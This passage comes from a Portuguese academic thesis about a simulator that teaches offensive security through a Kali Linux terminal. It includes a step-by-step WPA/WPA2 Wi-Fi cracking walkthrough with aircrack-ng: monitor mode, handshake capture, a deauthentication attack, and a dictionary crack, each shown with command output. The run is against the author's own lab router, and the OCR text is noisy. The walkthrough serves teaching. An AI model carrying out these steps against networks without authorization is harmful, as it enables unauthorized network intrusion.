O termo “ng” corresponde a “new generation” (“nova geragao”, em tradugao
livre), sendo um fork do projeto inicial, Aircrack, que ndo é mais suportado pela
comunidade. A versao atual é 1.6, datada de janeiro de 2020. A Figura 14 ilustra o

logotipo da suite Aircrack-ng.

Figura 14 — Aircrack-ng: logotipo

RACK-NG

Fonte: Aircrack-ng, 2020.

Dentre as ferramentas da suite Aircrack-ng ha a ferramenta de mesmo nome,
aircrack-ng, usada para “crackear” as senhas das redes Wi-Fi. Muitas outras
ferramentas auxiliam em outras atividades e ataques especificos, mas, no geral, séo
comumente utilizadas as seguintes ferramentas: airmon-ng para deixar a placa de

rede em modo promiscuo e capturar pacotes de todas as redes Wi-Fi ao alcance;
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airodump-ng para capturar pacotes conforme especificado (focando em uma rede
especifica); e aireplay-ng para gerar um trafego injetando pacotes na comunicagao.
Na Secdo 4.1 é demonstrado o uso dessas ferramentas.

Para a condug¢ao de uma tarefa de quebra de senhas Wi-Fi sdo necessarios
alguns equipamentos. Além de um roteador alvo pré-configurado para o teste de
invasao, € necessario um adaptador de redes wireless compativel (NULL BYTE,
2019). O adaptador usado neste trabalho foi o TP-LINK TL-WN722N. O roteador
utilizado para ter sua rede Wi-Fi “crackeada” foi o D-LINK DI-524.

Em fungdo da necessidade de equipamentos extras, esta pode ser uma
atividade mais dificil de ser praticada e demonstrada em um ambiente de ensino.

Dessa forma, se torna um cenario ideal para ser simulado.

41 CENARIO REAL

A seguir sdo demonstrados os passos de condugao de um cenario real para ser
realizado uma quebra de senha WPA/WPA2. WPA é a sigla para Wi-Fi Protected
Access, um padrao de segurancga certificado pela Wi-Fi Alliance (WI-FI ALLIANCE,
2020). O WPAZ foi introduzido em 2004 e tem sido um padrao dominante desde entao.
Apenas em 2018 foi anunciada a evolucéo desse padrao, o WPA3, que ainda esta em
inicio de adocéo.

Destaca-se que esse cenario apresenta um dos possiveis métodos de
abordagem, que consiste na captura do handshake WPA para posterior busca da
senha em um dicionario. A condugao desse cenario € importante para se obter as
mensagens de tela a serem inseridas na simulagao.

A Figura 15 demonstra a configuracao do roteador utilizado nesse cenario, com
a tela de configuragéo (enderecgo 192.168.0.1) aberta no navegador, evidenciando que
se trata de uma rede sob responsabilidade do autor. O nome da rede é “rede_alvo” e

sua senha, a ser obtida, € “umasenhacomum”.
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Figura 15 — Cofiuraé da rede Wi-Fi

Fonte: Elaborado pelo autor.

A Figura 16 apresenta o cenario pronto para inicio da execug¢do. O roteador
esta operando a rede Wi-Fi configurada, o notebook esta executando o Kali Linux

versao 2020.2, com um terminal aberto. E o adaptador USB de rede Wi-Fi esta

conectado ao notebook.

Figura 16 — Cenario preparado

Fonte: Elaborado pelo autor.

Desde a versao 2020.1, o Kali Linux ndo apresenta mais usuario root padrao.
Isso significa que alguns comandos e ferramentas nao funcionam por padrao, sendo
necessario escalar o privilégio de acesso. Nesse trabalho, pelo fato do Kali Linux ser
executado a partir de um Live DVD, foi utilizado o comando a seguir para garantir

acesso a todas as ferramentas da distribuigao:



35

sudo su

A seguir serdo apresentados e numerados seis passOos essenciais que
compdem as etapas para se “crackear” uma senha WPA/WPA2 de uma rede Wi-Fi.
Esses passos sdo registrados para posteriormente serem representados na
ferramenta de simulagdo. Alguns passos adicionais sdo apontados para melhor
ilustracao da conducgao desse cenario.

Inicialmente, o usuario pode conferir os adaptadores de rede reconhecidos pelo

sistema operacional. Isso é feito com o comando:

iwconfig

A Figura 17 ilustra que na primeira execug¢ao desse comando, o adaptador ndo
estava conectado na porta USB, mas na segunda execug¢dao, com o adaptador

conectado, ele foi reconhecido e associado a interface wlan1.

Figura 17 — Identificando todas as interfaces de rede
:~% sudo su

rootgkali:/home/kali# iwconfig
lo no wireless extensions.

eth@ no wireless extensions.

wlan@ IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated  Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@kali:/home/kali# iwconfig
lo no wireless extensions.

ethe no wireless extensions.

wlan@ IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated  Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated  Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

Fonte: Elaborado pelo autor.

Ainda é possivel consultar diretamente a interface para mais detalhes. Para

isso deve ser digitado o comando:

ifconfig wlanl
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A execucao desse comando gerara um resultado semelhante ao da Figura 18.

Figura 18 — Consultando o adaptador de rede USB

rootagkali:/home/kali# ifconfig wlanl

wlanl: flags=54099<UP,BROADCAST ,MULTICAST> mtu 1500
ether f2:b4:29:6c:d2:90 txqueuelen 1800 (Ethernet)
RX packets @ bytes @ (0.0 B)

RX errors @ dropped @ verruns @ frame @
TX packets @ bytes @ (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fonte: Elaborado pelo autor.

O primeiro passo (PASSO 1) é colocar a interface em modo promiscuo (ou
monitor). Isso permite que a interface possa identificar e receber todos os pacotes de

todas as redes Wi-Fi ao seu alcance. Inicia-se esse modo com o comando:

airmon-ng start wlanl

A Figura 19 demonstra o possivel resultado dessa execugao.

Figura 19 — Ativando o modo monitor
root@kali:/home/kali# airmon-ng start wlani

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
1233 NetworkManager
1283 wpa_supplicant
PHY Interface Driver Chipset

phy@ [MELL] ath9k Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
phy2 wlanl ath9k_htc Qualcomm Atheros Communications AR9271 i?Z.lln

(mac80211 monitor mode vif enabled for [phy2]wlanl on [phyZ]wlaﬁlmon)
(mac80211 station mode vif disabled for [phy2]wlani)

Fonte: Elaborado pelo autor.

Observa-se a mensagem ao final indicando que a interface esta enabled para
modo monitor, indicando que este modo responde na interface wlan1mon.

Contudo, uma mensagem de aviso foi gerada, indicando possivel interferéncia
de outros processos, que precisam ser encerrados, representando o segundo passo

(PASSO 2) a ser realizado. Isso é feito com o comando:

airmon-ng check kill
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A execugao desse comando podera gerar alguma atividade no adaptador, com
sua luz indicativa comecgando a piscar. O resultado dessa execuc¢ao € visualizado na
Figura 20.

Figura 20 — Encerrando processos conflitantes

rootikali:/home/kali# airmon-ng check kill

Killing these processes:

PID Name
1283 wpa_supplicant

Fonte: Elaborado pelo autor.

Para confirmar a mudangca de modo, pode-se consultar novamente as
interfaces. Nesse momento, a interface em modo monitor esta ativa, conforme

indicado na Figura 21.

Figura 21 — Conferindo o modo da interface

rootakali:/home/kali# iwconfig
lo no wireless extensions.

ethe no wireless extensions.

wlan@ IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated  Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

wlanlmon IEEE 882.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off  Fragment thr:off
Power Management:off

Fonte: Elaborado pelo autor.

O terceiro passo (PASSO 3) é iniciar um monitoramento do ambiente para
identificar todas as redes Wi-Fi ao alcance. Com isso serao identificados os APs e as
respectivas informagdes associadas (BSSID, endere¢co MAC, hosts conectados, canal

em uso, etc.). Para isso, deve ser executado:

airodump-ng wlanlmon

O resultado é dinamico, uma vez que varia conforme a mudanga da poténcia
dos sinais, associagao e desassociacado de hosts das redes, entre outras atividades.

A Figura 22 ilustra um instante desse monitoramento.
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Figura 22 — Airodump executando monitoramento
root@kali:/home/kali# airodump-ng wlanimon

CH 1 ][ Elapsed: 2 mins ][ 2020-86-09 12:52
PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID

-1 (/] 1830
=43 212 0
-38 212 1512
-32 362 2
-84 179 112
-83 46
-86 15
-84 45
-90 6
-90 al
-88 12

11 WPA <length: @>

1 195 OPN #NET-CLARO-WIFI
1 195 CCMP SuperRedeMaxPlus
6 135 WPA2 CCMP rede_alvo

11 130 WPA2 CCMP { VIVOFIBRA-33DD_Ext
11 130 WPA2 CCMP { VIVOFIBRA-E922
11 135 WPA2 CCMP Gislene

11 270 WPA CCMP Net Wifi

11 270  WPA2 CCMP HACKER-JR

8 270 WPAZ CCMP Desktop_F6124588
9 2780 WPA2 CCMP VIVOFIBRA-BABC

=0~~~ -~~~ R~~~ .~

STATION Rate Lost Frames Probes

:F5:33:DB  02:E@:20:05:B9: 0 - e 1838 I
:1E:19:1D:C3:50 3@:4B:@7:CD:DC: Qe- Qe 24
:1E:19:1D:C3:50 7C:03:AB:B9:65:! Qe- Qe 1521 borges123
:E@:20:45:B9:3F 68:7D:6B:2B:75: Be- 1le 90
170:02:73:83:E6 AB:16:D0:49:46: 2 -11e 5
102:71:8E:B&4:AC 44:80:EB:3A:14: -6 8
(not associated) 3@:CB:F8:74:5B: -1 10
(not associated) D&:63:Ch:BF:DF: e -1 1 Gislene
Quitting ...

Fonte: Elaborado pelo autor.

A Figura 22 é importante pois nessa tela sdo consultadas algumas informacgdes
da rede a ser alvo do ataque. Nesse caso, sera atacada a rede “rede_alvo”. Para isso
€ necessario anotar o canal (CH) e o BSSID. Esse monitoramento é encerrado com
as teclas CTRL + C pressionadas.

Em seguida, o quarto passo (PASSO 4) é iniciar um monitoramento na rede

que foi identificada para ser atacada. Para isso € utilizado o comando:

airodump-ng -c 6 --bssid 1C:7E:E5:BF:26:88 -w

/home/kali/Documents/rede_alvo wlanlmon

No comando anterior, em -c <channel>, channel € o numero do canal em que
esta operando a rede Wi-Fi. Em --bssid <bssid>, bssid é o enderego MAC (BSSID) do
AP. Em -w <caminho>, caminho indica onde os arquivos desse monitoramento serao
salvos. E recomendado utilizar o nome da rede (nesse caso, ‘rede_alvo”). Ser&o
gerados cinco arquivos tendo como prefixo este nome. Por fim, € indicado a interface
em modo monitor.

A execugao apresenta uma tela dindmica, indicando os dispositivos conectados
na rede e a quantidade de pacotes capturados, conforme ilustrado pela Figura 23. Nao
€ de grande utilidade monitorar uma rede sem hosts, pois sera necessario a presenca

de ao menos um host para se capturar o trafego da rede e um handshake.
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Figura 23 — Airodump executando em uma rede especifica
CH 6 ][ Elapsed: 12 s ][ 2020-06-09 13:00

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
1C:7E:E5:BF:26:88 -22 100 127 11 8 6 135 WPAZ CCMP PSK rede_alvo
BSSID STATION PWR Rate Lost Frames MNotes Probes
1C:7E:E5:BF:26:88 94:87:E@:53:18:5F -30 - 1le i} 24

Fonte: Elaborado pelo autor.

Enquanto esse monitoramento ocorre, sdo gerados arquivos no diretério
indicado, como representado na Figura 24.

Figura 24 — Arquivos gerados pelo airodump
Dacuments - File Manager

File Edit View Go Help

< ™ ﬁ @ [home/kali/Documents/

DEVICES S A
B File System E
B para
e rede_alvo-0l.ca rede_alvo-Ol.csv  rede_
E 398 GB Volume P

PLACES
[

I kali
= | Desktop E

' Trash rede_alv kism rede_alvo-0l.log.c
= Documents s

&l Music

al Pictures

= Videos

& Downloads
NETWORK

[ Browse Network
5items: 117.1 KiB (119,959 bytes), Free space: 5.8 GiB

Fonte: Elaborado pelo autor.

Como mencionado anteriormente, o objetivo desse monitoramento é obter o
handshake de conexao, que juntamente com os dados da rede e trafego capturado,
podera ser confrontado com um dicionario (wordlist) para identificar qual seja a senha
da rede.

O handshake pode ser obtido durante a autenticacido de um usuario na rede,
porém, isso pode ser demorado. Para acelerar o processo é possivel “derrubar” um
usuario da rede (desautentica-lo) enviando uma mensagem falsa, para que em
seguida ele se reconecte e seja possivel capturar o handshake.

O quinto passo (PASSO 5) consiste em abrir um novo terminal (¢ importante

que continue monitorando a rede pelo terminal anterior) e digite:

aireplay-ng -0 1 -a 1C:7E:E5:BF:26:88 -c 94:87:E0:53:18:5F wlanlmon
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A Figura 25 ilustra o resultado da execug&o desse commando.

Figura 25 — Aireplay executando deauth
kali@kali: ~ £l kali@kali: ~ %

:~% sudo su
root@kali:/home/kali# aireplay-ng -8 1 -a 1C:7E:E5:BF:26:88 -c 94:87:E@:53:18:5F wlanlmon

13:06:21 Waiting for beacon frame (BSSID: 1C:7E:E5:BF:26:88) on channel 6
13:06:21 Sending 64 directed DeAuth (code 7). STMAC: [94:87:E0:53:18:5F] [ ?|53 ACKs]
rootdkali:/home/kali# [

Fonte: Elaborado pelo autor.

No comando acima, em “0” é indicado que sera feito um ataque de
desassociacado de cliente (deauth). “1” indica que sera enviado apenas um pacote
(nesse caso s6 ha um cliente na rede). Em -a <mac_ap>, mac_ap indica o enderego
MAC do AP, e em -c <mac_cli>, mac_cli indica o endereco MAC do cliente. Por fim, é
indicado a interface em modo monitor.

Logo apds a execugdo do aireplay, deve-se retornar ao terminal anterior que
estava em monitoramento da rede alvo, e aguardar alguns instantes. O usuario da
rede foi desconectado dela, e é provavel que se reconecte a rede, nesse caso,
permitindo que capture o handshake. Isso sera confirmado com a mensagem no canto
superior direito da tela: “WPA handshake”. A Figura 26 demonstra a captura do

handshake. Ap6s essa captura, pode-se encerrar o monitoramento (CTRL + C).

Figura 26 — Handshake capturado
kali@kali: ~ £ kali@kali: ~ %

CH 6 ][ Elapsed: 4 mins ][ 2020-06-09 13:86 ][ WPA handshake: 1C:7E:E5:BF:26:88
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
1C:7E:E5:BF:26:88 -30 '] 2480 431 4] 6 135 WPAZ CCMP PSK rede_alvo

BSSID STATION PWR Rate Lost Frames MNotes Probes

1C:7E:E5:BF:26:88 94:87:E0:53:18:5F -25 RBe- 1le 5} 1872 EAPOL rede_alvo
Quitting ...
rootdkali:/home/kali# [l

Fonte: Elaborado pelo autor.

Com os dados necessarios capturados, pode-se avancar para o sexto e ultimo
passo (PASSO 6). Nessa etapa inicia-se a tentativa de quebra da senha. Para isso é
utilizado um dicionario (wordlist) que deve conter uma série de possiveis senhas.

Pode-se utilizar tanto um dicionario existente, genérico, quanto pode ser criado

um proéprio dicionario. Em ataques mais organizados e especificos, monta-se e utiliza-
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se um dicionario direcionado para a rede/usuario alvo. Programas como Crunch, Cewl
e Cupp auxiliam nessa tarefa.

A Figura 27 apresenta o dicionario utilizado nesse cenario. E um exemplo
didatico que contém apenas quatro palavras de possiveis senhas, sendo que a ultima

corresponde a senha da rede.

Figura 27 — Dicionario utilizado

[homefkalifdicionario - Mousepad
File Edit Search View Document Help
123

password
senha
umasenhacomud

Fonte: Elaborado pelo autor.

Com o dicionario criado, executa-se o comando:

aircrack-ng /home/kali/Documents/rede alvo-0l.cap -w /home/kali/dicionario

A Figura 28 representa o sucesso da execugao, quando a senha da rede foi

encontrada no dicionario.

Figura 28 — Aircrack identificando a senha
rootakali:/home/kali# aircrack-ng /home/kali/Documents/rede_alvo-@01.cap -w /home/kali/dicionario
Reading packets, please wait ...
Opening /home/kali/Documents/rede_alvo-01.cap
Read 629 packets.
# BSSID ESSID Encryption
1 1C:7E:E5:BF:26:88 rede_alvo WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening /home/kali/Documents/rede_alvo-01.cap

Read 629 packets.

1 potential targets

Aircrack-ng 1.6

[00:00:00] 3/4 keys tested (100.55 k/s)

Time left: @ seconds

KEY FOUND! [ umasenhacomum ]

Master Key : F@ @9 9B 5F AF Al @9 CC B2
4F A@ EC 3F 3A C3 F1 72 B9

Transient Key : 11 BA D4 B@ A9 2F B4 79 5C
D6 29 D3 EE Bl FE 72 30 33
A9 BB 32 78 B5 B3 3E 85 Bl
BD 76 B3 47 B3 93 05 CD DD

EAPOL HMAC H 1E 31 55 @A 36 FE F5 80 E9
Fonte: Elaborado pelo autor.
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No comando acima, inicialmente € indicado o caminho para o arquivo .cap
gerado pelo monitoramento da rede. E depois é indicado o dicionario que sera
utilizado.

Percebe-se que na Figura 28 foi encontrado a palavra (key) no dicionario, que,
conforme indicado, € “umasenhacomum”, sendo essa portanto a senha da rede. Por
esse exemplo, esse processo foi executado rapidamente (0 segundos) porque por fins
didaticos esse dicionario possui poucas palavras. Numa situagao real, pode-se
demorar muito mais, e possivelmente nem identificar a senha, levando a necessidade
de recriar o dicionario, ou buscar outros métodos de ataque.

Por fim, deve-se retornar a interface ao modo normal, desativando o modo

monitor:

airmon-ng stop wlanlmon

A Figura 29 demonstra a posterior verificagdo da interface wlan1.

Figura 29 — Interface retornando ao modo normal
rootgkali:/home/kali# airmon-ng stop wlanlmon

PHY Interface Driver Chipset

phy@ wlan@ ath9k Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
phy2 wlanimon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

(mac80211 station mode vif enabled on [phy2]wlani) I
(mac80211 monitor mode vif disabled for [phy2]wlanimon)
rootgkali:/home/kali# ifconfig wlanlmon
wlanimon: error fetching interface information: Device not found
root@kali:/home/kali# ifconfig wlanl
wlanl: flags=4098<BROADCAST,MULTICAST> mtu 1500
ether c4:e9:84:0d:2a:6f txqueuelen 1000 (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame @

TX packets ® bytes © (2.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fonte: Elaborado pelo autor.

4.2 CENARIO SIMULADO

Ap06s a conducao do cenario real, foram coletados os resultados das execucgdes
dos comandos, tanto corretamente executados quanto possiveis erros enfrentados.
Os comandos, resultados corretos e erros, e mensagens explicativas conforme
apresentadas na Secéao 4.1, foram inseridos no simulador para a criacido do cenario

denominado Wi-Fi Cracking.
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Observa-se que alguns dos passos executados ndo sdo essenciais para a
execugao do processo. Sendo assim, na simulacdo foram representados os seis
passos essenciais, destacados na Secgao 4.1, até a quebra da senha. Destaca-se
também que diferentes erros podem surgir dependendo do equivoco na sintaxe do
comando. Contudo, foi adotado apenas uma mensagem de erro mais comum que
pode ocorrer ao digitar erroneamente o comando do passo simulado.

Outro ponto de abstracdo é o comando CTRL + C, cuja execugdo é
representada automaticamente para o encerramento de alguns passos. Por fim, o
simulador representa apenas um terminal, dessa forma, o quinto passo é
representado na mesma tela. Todas essas observagdes sao inseridas no item
“Explicagao” de cada passo.

A Figura 30 ilustra as 6 telas preenchidas para a criagdo desses seis passos.

Figura 30 — Criag&o do cenario da simulagdo Wi-Fi Cracking

Nome: [wi-Fi Cracking | Mome
Neste cenario é realizado uma quebra de senha WPAMPAZ. Este & um das possiveis métodos de abordagem
lque cansiste na captura do handshake WPA para posterior busca da senha em um dicionrio.
Instrugdes Inicie o Kali Linux, e certiique que esteja com acesso root. Conecte um adaptador e rede wi-f que possa InstrucBes
lexecutar em modo monitor. Nesse cendrio, considera-se que o adaptador esta ufiizando a interface wian 1
Fasso: 1 Passo: 1
Gracis [airmon-ng startwian1 |  comando: [airodump-ng c 6 —bssid 1C.7E £5 BF 26:88 _alvo wlan1mon |
Tenpo: 6 sequndos Tempo: m sequndos
B3SID STATION PWR Rate Lost Frames Notes Probes =]
Resultado: (mac80211 monitor made vif enabled for [phy2wian on [ehy2iwlanman) T
(mac80211 station mode vif disabled for [phy2jwian1) ICTEESBF2688 048TE0S318SF 0 0-1e 0 151 v
41 I L] I [Tv]
Requested device does not exist Interface:
- Run fusrisbin/airmon-ng without any arguments to see available interfaces - iocti(SIOCGIFINDEX) failed: No such device
FFailed initializing wireless card(s)
(O primeiro passo & colocar a interface em modo promiscuo (ou monitor), [Por fim, & indicado a interface em modo monitor. A execucdo apresenta uma tela dindmica, indicando os
Explicagdo: Iss0 permite que a interface possa identificar & receber lodos 0s pacotes de todas as redes Wi-Fi a0 seu alcance, Explicagdo: dispositivos conectados na rede & 3 quaniidade de pacotes capiurados. Enquanto esse monitoramento ocorre
ls0 geradas arquives no diretéria indicado
< Il I
Home: Nome:
Instrugbes Instrugdes:
Passo: 2 Passo 5
Comando. [airmon-ng check i Comando. [aireplay-ng -0 1-a 1C7TE E5BF:26:88 ¢ 94 87:E0:52.18:5F wlan1mon |
Tempo: 6 sequndos Tempo: 35 sequndos
Killing these processes =]
. T 1CTEESBF26:68 0487 EQS3185F 37 De-fe 0 275 EAPOL rede aho =
PID Name Quiting =l
1263 wpa_supplicant 41 I [T
Interface:
— [E— octi(SIOCGIFINDEX) failed: No such device
Pelo passo anterior, uma mensagem de aviso foi gerada, indicando possivel interferéncia de oUtroS Processos, handshake. 550 sera confirmado com a mensagem no canto superior direito da tela: “WPA handshake” 2]
T (que precisam ser encerrados. Explicagdos Na préica real, apés essa capiura, pode-se encerrar o monitoramento (CTRL + O). Nessa simulago é representado| =
esse loge apés digitar esse comando. =
« il I D]
Home: None:
Instrugdes: Instrugses:
Passo: 3 Passo: 6
Comando: [airodump-ng wian1mon Comando: [aircrack-ng homelkaliD: alvo-01.cap -w |
Tempo: 6 sequndos Tempos 40 segundos
ICTEESBF2688 O487E053185F 44 10 2 =]
P DB9TBAJENT:23 30.CBF87458:4D -86 0-1 0 69 s EAPOLHMAC : OF 3E OF 0D 87 A7 OF B1 1E C9 56 AF EDB CD 15 =
Quitiing =]
<« I « i [ Tv]
interace: [ERROR: Opening dictionary failed (No such file or directary)
- 10Cti(SIOCGIFINDEX) failed: No such device — Reading packets, please wail
Failed initializing wireless card(s) Failed to open .cap: No such file or directory
Read 0 packets
umavez que varia conforme a mudanga da poténcia dos sinais, ass0ciagao e desassociagao de hosts das redes, | = (da rede. E depois & indicado o diciondrio que serd utilizado. A senha identiicada & ‘umasenhacomum’™. Depois dessq
Explicagio: lenre outras atvidades. Nesse teste, serd atacada a rede ‘rede_avo'. Para iss0 & necessério anotar o canal (CH) Explicagio: processo executado, reforne a interface a0 modo normal, deeativand o modo monitor com 0 comando,
€ 0BSSID. Aqui, esse é encerrado. Na prtica real, utilize CTRL + C. ~ airmon-ng stop wianimon -
41 1 D 4] 1 [ TH

PASSO 3 PASSO 6
Fonte: Elaborado pelo autor.
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Esse € um cenario base ja acrescentado por padrdo na ferramenta de
simulacdo. A seguir serdo apresentadas as telas de cada um desses passos, seguindo
o fluxo do modo “Aprender”. Cada passo corresponde a execugdo de um comando
errado, para visualizar a mensagem de erro, seguido pela execugdao do comando
correto, para verificagdo do resultado esperado.

A Figura 31 demonstra a execugdo do primeiro passo do cenario Wi-Fi

Cracking.

Figura 31 — Wi-Fi Cracking: Passo 1

B Terminal Simulator - X

Iniciar Opgoes

ar a interface

identificar e r s redes Wi-Fi ao seu alcance.

vailable interfaces

ng channels

.11n

lanl on [phy2]wlanlmon)
wlanl)

A Figura 32 demonstra a execugdo do segundo passo. Observa-se que a
execucdo errada do comando ndo resulta em uma mensagem de erro. Isso foi

abstraido da observagao do caso real.

Figura 32 — Wi-Fi Cracking: Passo 2

B Terminal Simulator - X

lanl on [phy2]wlanlmon)
wlanl)

on-ng check kill

, uma mensagem de aviso foi gerada, indicando possivel interfer&ncia de outros processos,

1283 wpa_supplicant

Fonte: Elaborado pelo autor.




A Figura 33 demonstra a execugao do terceiro passo.

Figura 33 — Wi-Fi Cracking: Passo 3

A Terminal Simulator

Iniciar Opgdes
airmon-ng check kill
Killing

upplicant
Passo:3

das redes

rd atacada a
utomaticamente

airodump-ng wlanlmon
10 Ela

#Data, #/s ; MB CIPHER AUTH

Fonte: Elaborado pelo autor.

A Figura 34 demonstra a execugao do quarto passo.

Figura 34 — Wi-Fi Cracking: Passo 4
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Fonte: Elaborado pelo autor.

45



A Figura 35 demonstra a execugéo do quinto passo.

Figura 35 — Wi-Fi Cracking: Passo 5
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Fonte: Elaborado pelo autor.

A Figura 36 demonstra a execugao do sexto e ultimo passo.

Figura 36 — Wi-Fi Cracking: Passo 6
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Fonte: Elaborado pelo autor.
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4.3 CONSIDERAGOES DO CAPITULO

A ferramenta desenvolvida demonstrou a capacidade de simular de forma
verossimil o Terminal do Kali Linux. Todos os detalhes da ferramenta foram
apresentados no Capitulo 3.

Evidencia-se como o fluxo de sequéncia de comandos na ferramenta se
comporta da mesma forma que no Terminal. As diferengas perceptiveis sdo quanto ao
acréscimo intencional de mensagens instrutivas e ao texto referente ao usuario e
diretério mantido de forma mais “limpa” (root@kali:~#). Nesse cenario em especifico,
observa-se a representacado automatica da execucdo do comando CTRL + C e da
representacdo em um unico Terminal de uma operagéao realizada em dois Terminais.

Ressalta-se que, como uma versao inicial, a ferramenta naturalmente é uma
prova de conceito e passivel de evolucado para representacdes de interagdes mais
complexas. No entanto, em sua versdo atual, como evidenciado nesse capitulo, a
ferramenta desenvolvida apresenta-se como um recurso factivel para representagao
de execugao de comandos em um Terminal.

Esse estudo de caso comprovou a vantagem do uso da ferramenta para fins
didaticos. Uma vez com o cenario configurado e inserido na ferramenta, sua
reproducdo pode ser realizada a qualquer instante, de forma imediata e pratica, sem
a necessidade de novas configuracdes e preparagdes para cada nova repeticdo, em

contraste a um cenario real.
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5. ANALISE DO QUESTIONARIO

Um questionario foi aplicado para os alunos do curso de Seguranga da
Informacdo da FATEC Americana a fim de identificar os conhecimentos e interesse
dos alunos em seguranga ofensiva. O questionario encontra-se no Apéndice A e as
45 respostas obtidas encontram-se no Apéndice B.

Observando as respostas da primeira questéo, referente ao momento do aluno
no curso, foi observado que a maioria dos respondentes se encontra no ultimo ano do
curso, conforme indicado no Grafico 1. Isso representa um perfil de aluno maduro

dentro da evolugao do curso, tendo cumprido diversas disciplinas da grade curricular.

Grafico 1 - Situagao dos participantes perante o curso de Si

45 respostas

@ formando em 2020

@ formacio a partir de 2021
formadao

@ ni3o sou aluno desse curso

Fonte: Elaborado pelo autor.

A terceira questdo busca identificar o nivel de conhecimento do respondente
quanto a seguranga ofensiva em pratica. As respostas foram compiladas em trés
categorias: Sim, para os que demonstram algum conhecimento a respeito de uso de
ferramentas de segurancga ofensiva; Nao, para os que reconheceram nao saber ou
nao se lembrar; Resposta Superficial, para os que disseram saber, mas nao
demonstram, conforme pedido no enunciado na questao. O Grafico 2 apresenta essa

compilagéo.
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Grafico 2 - Conhecimento dos participantes sobre segurancga ofensiva

= Mao
» Resposta Supericial
= 5im

Fonte: Elaborado pelo autor.

O primeiro ponto de destaque €& quanto a falta de familiaridade dos
respondentes quanto a pratica de seguranga ofensiva, o que fortalece a proposta de
uma ferramenta ludica para essa finalidade de ensino, como a apresentada nesse
trabalho. Outro ponto é quanto a confusdo observada em relagdo ao termo “seguranca
ofensiva”. Apesar de uma breve explicagdo na introdu¢cdo do questionario, alguns
participantes responderam positivamente, mas se referindo a identificar sites ou e-
mails maliciosos em nivel de usuario, enquanto outros mencionaram atividades de
monitoramento de trafego de rede, que nao caracterizam agdes de seguranca
ofensiva. Muitos também mencionaram algumas ferramentas e conceitos, mas sem
demonstrar familiaridade em seu uso. Por isso, todas essas respostas foram
categorizadas como “Resposta Superficial’, uma vez que a questdo buscava
identificar real conhecimento pratico do respondente, conforme explicito em seu
enunciado.

Por fim, 7 respostas (15% dos participantes) foram identificadas com tragos de
real conhecimento do respondente. Entre essas respostas, encontra-se mengoes a
brute force para quebra de senha, injegao de SQL e captura de trafego de rede. Dentre
essas respostas, 4 demonstram mais conhecimentos variados, sendo que se percebe
que um desses participantes ja trabalha na area de seguranga da informagéao. Mesmo
entre esses respondentes, percebe-se mencdes em relacdo a identificacdo de
ataques e protecao da rede, o que ndo é uma acao de seguranga ofensiva, que se

trata de realizar o ataque em si.
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A quarta questado visa instigar o aluno quanto a ferramenta proposta nesse
trabalho, a fim de identificar o interesse pelo publico-alvo ao qual ela se destina. A
receptividade foi grande, com 44 respostas positivas entre os 45 participantes. O unico
aluno que respondeu nao se interessar pela ferramenta também demonstrou nao
possuir nenhum conhecimento sobre seguranga ofensiva, portanto € um aluno que,
apesar de estar no curso de Seguranga da Informagdo, ndo conhece e nem deseja
saber mais sobre seguranca ofensiva.

A quinta pergunta do questionario visa colher sugestdes dos participantes para

a ferramenta de simulagdo. As sugestdes foram compiladas nos seguintes pontos:

o Atualizacdes frequentes;

e Ferramenta simples, didatica e acessivel aos alunos;

e Na&o Linear (mais de uma resposta);

e Documentacao, explicagdes, tutorial, manual, biblioteca de comandos, passo-
a-passo;

e Multiplataforma;

e Proximidade com a realidade;

e Caddigo-aberto;

¢ Inclusido da ferramenta em sala de aula;

e Gamificagao.

Ressalta-se que os pontos acima podem ter sido mencionados por mais de um
respondente. Destaca-se a mencgao frequente ao que se refere a alguma forma de
orientar a execugao dos comandos, o que foi sugerido por varios alunos de diversas
maneiras. A ferramenta apresentada nesse trabalho possui esse intuito: fornecer um
aprendizado ao aluno, destacando a sequéncia de passos a serem executados e
descrevendo cada um deles.

Outro ponto também de destaque, foi a recomendacgao de cinco alunos sobre o
uso de uma ferramenta dessa natureza em sala de aula, para aprendizado e pratica
inicial dessas atividades de seguranca. Essa € uma das propostas desse trabalho, em
moldar uma ferramenta que possa ser empregada em sala de aula para futuros alunos

do curso de Seguranga da Informacgéo.
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Outro ponto atendido pela ferramenta, que foi um fator norteador do trabalho, &
a proximidade com a realidade. Sua interface grafica foi desenvolvida para se
assemelhar a do Terminal do Kali Linux, representando as mensagens da forma mais
fidedigna possivel.

Em relagdo a gamificagdo, um primeiro ponto ja implantado foi o modo “Time
Attack”, que permite ao aluno competir contra o tempo para execugcdo dos comandos
0 mais rapidamente possivel. Futuramente, a criacdo de um ranking e mecanismos
de recompensa poderao ser implantados. Outros pontos como tornar a ferramenta
multiplataforma e cddigo-aberto estdo sendo considerados para atualizagdes futuras.

Outros comentarios identificados foram sobre a vantagem de ter uma
ferramenta para “praticar sem uma zona de real risco”. De fato, a natureza dessa
ferramenta prové um ambiente de testes sem riscos, sem expor o usuario ao
desconhecido e ainda n&do dominado, e nem deixar seu préprio ambiente vulneravel.
